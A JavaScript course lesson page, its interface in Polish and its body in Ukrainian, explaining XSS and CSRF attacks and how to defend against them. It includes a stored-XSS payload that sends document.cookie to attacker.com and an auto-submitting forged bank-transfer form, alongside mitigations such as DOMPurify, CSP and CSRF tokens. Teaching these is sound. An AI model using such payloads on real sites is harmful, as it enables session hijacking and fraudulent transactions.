Średniozaawansowany
+45 XP

👋 Zacznij uczyć się JavaScript już teraz — za darmo!

📖

XSS i CSRF

Ataki cross-site scripting i cross-site request forgery.

XSS (Cross-Site Scripting)

XSS — вразливість, що дозволяє зловмиснику виконати шкідливий JavaScript у браузері жертви.

Типи XSS

Reflected XSS — payload в URL, відображається одразу:

html
URL: http://site.com/search?q=<script>alert(1)</script>
Відображається: <p>Результати для: <script>alert(1)</script></p>

Stored XSS — payload зберігається в БД:

html
Коментар: <script>fetch('http://attacker.com?c='+document.cookie)</script>
→ Виконується у кожного, хто переглядає сторінку

DOM-based XSS — маніпуляція DOM на стороні клієнта без звернення до сервера.

Що можна зробити через XSS?

  • Викрасти cookies/session tokens → захопити акаунт
  • Keylogger → логування натиснень клавіш
  • Redirect → перенаправити на фішинговий сайт
  • BeEF Framework → повний контроль браузера жертви
  • CSRF через XSS → виконати дії від імені жертви

Захист від XSS

javascript
// ПОГАНО — вставка без екранування
element.innerHTML = userInput;

// ДОБРЕ — textContent (автоматично екранує)
element.textContent = userInput;

// На сервері (Node.js) — використовуй DOMPurify або escape
const clean = DOMPurify.sanitize(userInput);

CSP (Content Security Policy): обмежує звідки можна завантажувати скрипти.

CSRF (Cross-Site Request Forgery)

CSRF — змушує браузер жертви виконати небажаний запит до авторизованого сайту.

Як працює:

html
<!-- Атакуючий сайт містить форму, що відправляє запит на bank.com -->
<form action="https://bank.com/transfer" method="POST">
  <input name="amount" value="10000">
  <input name="to" value="attacker_account">
</form>
<script>document.forms[0].submit();</script>

Якщо жертва авторизована в bank.com і відкриє цю сторінку — переказ відбудеться автоматично.

Захист від CSRF:

  • CSRF token — унікальний токен у кожній формі
  • SameSite cookieSameSite=Strict або Lax
  • Перевірка Origin/Referer header
  • Double Submit Cookie патерн

Komentarze

Zaloguj się lub Zacznij aby zostawić komentarz.